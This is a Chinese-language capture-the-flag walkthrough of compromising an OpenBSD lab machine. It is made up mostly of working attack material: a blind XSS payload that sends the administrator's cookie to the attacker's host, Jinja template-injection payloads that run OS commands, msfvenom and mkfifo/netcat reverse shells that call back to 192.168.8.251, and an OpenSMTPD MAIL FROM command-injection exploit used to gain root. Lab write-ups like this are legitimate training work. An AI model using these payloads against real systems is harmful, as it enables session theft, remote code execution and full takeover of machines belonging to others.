靶机总结
盲打xss openBSD渗透 SSTI模板注入 opensmtpd
信息搜集
nmap -sT --min-rate 10000 192.168.8.253 -p-

nmap -sT -sC -sV -O 192.168.8.253 -p22,80
操作系统竟然是openBSD( 一个注重安全和稳定的多平台类UNIX操作系统 )

nmap --script=vuln 192.168.8.253 -p80
发现一个admin目录

盲打xss
发现一个表单申请提交,尝试一下盲打xss盗取管理员的cookie

先启动kali的apache2
打印apche2日志
systemctl start apache2
tail -f /var/log/apache2/access.log

注入xsspayload
<img src=x onerror="this.src='http://192.168.8.251/?cookie='+document.cookie">
拆解这个 Payload
<img src=x ← src=x 是一个故意写错的 URL,浏览器加载失败
onerror="..." ← 加载失败时触发 onerror 事件,执行其中的
JavaScript
JavaScript 部分:
this.src = 'http://192.168.8.251/?cookie=' + document.cookie
↓
把 <img> 的 src 改成攻击机地址,并把 cookie 拼接到 URL 后面
↓
浏览器向 http://192.168.8.251/?cookie=session=.eJwsafefew...
发起请求
为什么会成功?
关键点在于 document.cookie 的读取权限:
- 如果目标 Cookie 没有设置 HttpOnly 标志,JavaScript 可以直接读取
- HttpOnly 是防御 XSS 窃取 Cookie 的核心机制,但很多应用遗漏此配置

.eJwlj0uKAzEQQ-_idRb1s8vOZRp3fUgIJNCdrIa5ewxBO4knpL-y5RHnrVzfxycuZbt7uRYi6N1lsGFIaDoMs1HBskKnBLcp2kz2RhUrGyHxshoP2WFKGArs0yBsqY1whgxwxZZsPDoQI6P3xubqQBSU0kfm7ORdqFyKnUdu79cjnmtP06CuEDxjelS1WnF4ZV3FK1LHJuwoi_uccfxOSPn_AoaTPnc.akcWsQ.QWTix88hO31689Zy-BNIIlCkRZw
抓取数据包替换cookie

替换

成功登录后台

查看管理员访问日志,取到管理员的cookie
Auth=R3JhbnRlZA==;

加上Auth


SSTI模板注入
整了半天,命令窗口无法交互
观察历史数据包,在admin页面似乎有个auth回显

注入点测试
{{6*7}}
base64编码一下,果然有回显

注入点配置
config

命令注入
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
命令回显

openBSD反弹shell
但是之前探测到靶机的系统是openBSD

利用msf生成payload (Only 80 and 443 are allowed out the openBSD firewall )
msfvenom -p cmd/unix/reverse_netcat lport=443 lhost=192.168.8.251

{{ request.application.__globals__.__builtins__.__import__('os').popen('mkfifo /tmp/aeqtmgv; nc 192.168.8.251 443 0</tmp/aeqtmgv | /bin/sh >/tmp/aeqtmgv 2>&1; rm /tmp/aeqtmgv').read() }}
成功反弹
msf接收shell

提权
opensmtpd提权
netstat -ant|grep LISTEN

发现有一个邮件服务,有提权漏洞


payload还需要一个邮箱域名,正好在js文件中泄露了

手工测试漏洞

helo test
250 TempusFugit4 Hello test [10.13.37.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@mofo.org>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
From: test@test.com
To: root@mofo.org
Subject: x
0
1
2
3
4
5
6
7
8
9
a
b
c
d
id > /tmp/pwn.txt
.
250 2.0.0 3418f88a Message accepted for delivery
Connection closed by foreign host.
查看回显pwn.txt,说明漏洞存在

反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.251 80 >/tmp/f

成功提权
